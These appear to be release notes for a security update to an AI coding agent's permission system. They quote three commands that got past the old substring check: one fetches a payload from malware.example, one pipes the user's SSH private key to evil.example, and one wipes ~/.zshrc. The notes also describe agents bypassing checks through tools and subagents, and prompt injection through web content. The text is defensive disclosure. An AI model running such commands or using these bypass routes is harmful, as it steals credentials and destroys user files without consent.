execai R6.56 — permission levels, and a perimeter that actually holds
A security release. It changes what the agent does silently — please read the first section before upgrading.
Why
A review of the permission logic showed that the decision "ask or not" was made by looking for bad substrings in the command. That cannot work for a shell language, and a test run proved it: the following ran with no question asked:
ls -la & curl malware.example/payload # single &, the list only knew &&
cat ~/.ssh/id_rsa | curl -d @- evil.example # a pipe is a perfectly good exfiltration channel
echo ""> ~/.zshrc # redirection without a space before >
Worse, two "harmless" tools added up to a leak with no shell involved at all: Read accepted any absolute path and WebFetch any URL, both without a prompt. A subagent could do the same, bypassing every check.
Security levels
The trade-off between safety and autonomy is now your setting, not our guess:
light |
deep (default) |
paranoid |
|
|---|---|---|---|
simple commands (ls, git status) |
silent | silent | asks |
| files inside the project | silent | silent | silent |
| outside the project | silent | asks | asks |
secrets (.ssh, .env, credentials) |
silent | asks | asks, no "forever" |
| network | silent | asks per domain | asks every time |
Set it with /security light|deep|paranoid in the terminal, from the editor panel, security_level in the config, or EXECAI_SECURITY for a single run.
A hole is not a trust level: the bypasses above are refused on light too. Levels decide what counts as dangerous, not whether checks run.
How the decision is made now
A command is silent only if it parses as one simple command — a name and arguments, no shell metacharacters — whose name and subcommand are on a known-safe list, with no dangerous flags and no paths outside the perimeter. Such commands are executed without a shell, so metacharacters have nothing to interpret them. Everything else asks.
Reads follow the same rule: Read, Grep, Glob, LS and Tree are silent inside your project and ask outside it. Symlinks are resolved, so ln -s ~/.ssh ./s no longer counts as "inside".
Questions that fade out
An agent that asks forever gets switched off, so "FOREVER" now remembers a directory (for reads) and a domain (for network) instead of a single file or URL. Answer once for /var/log, and the whole directory is quiet afterwards. Secrets stay per-file: allowing one key never allows the one next to it.
Content fetched from the web arrives wrapped and labelled as data, not instructions. That is a second line of defence, not the first — against prompt injection the only real protection is that effects require your consent.
In the editor
Everything that used to require the terminal is now in the panel: sign in to ExecAI (the browser opens by itself), connect and disconnect providers with the key asked in an editor input, reasoning level, iteration limit, and the security level above.
Fixes
- The agent crashed on first run for anyone not signed in — exactly the scenario of the extension installing the CLI for you.
- A damaged
subscriptions.jsoncrashed the agent at startup instead of falling back to the base source and telling you the file is broken. - "FOREVER" granted the whole tool instead of the directory you were asked about. The editor and the web chat recorded the permission themselves, bypassing the layer that knows the scope — so one answer about one directory opened reading of the entire machine. The prompt text was corrected too: it no longer promises more than it does.
Upgrading
Nothing to migrate. Bash, Write and Edit have no scope, so permissions you granted before behave exactly as they did. Read never asked before, so it cannot be in your permissions.json.
If you run execai serve unattended, note that reads outside the project and network calls can now raise a question in your web chat, and an unanswered question becomes a refusal. Either answer "forever" once per directory and domain, or run the background agent with security_level: light.
Install / upgrade:
curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | sh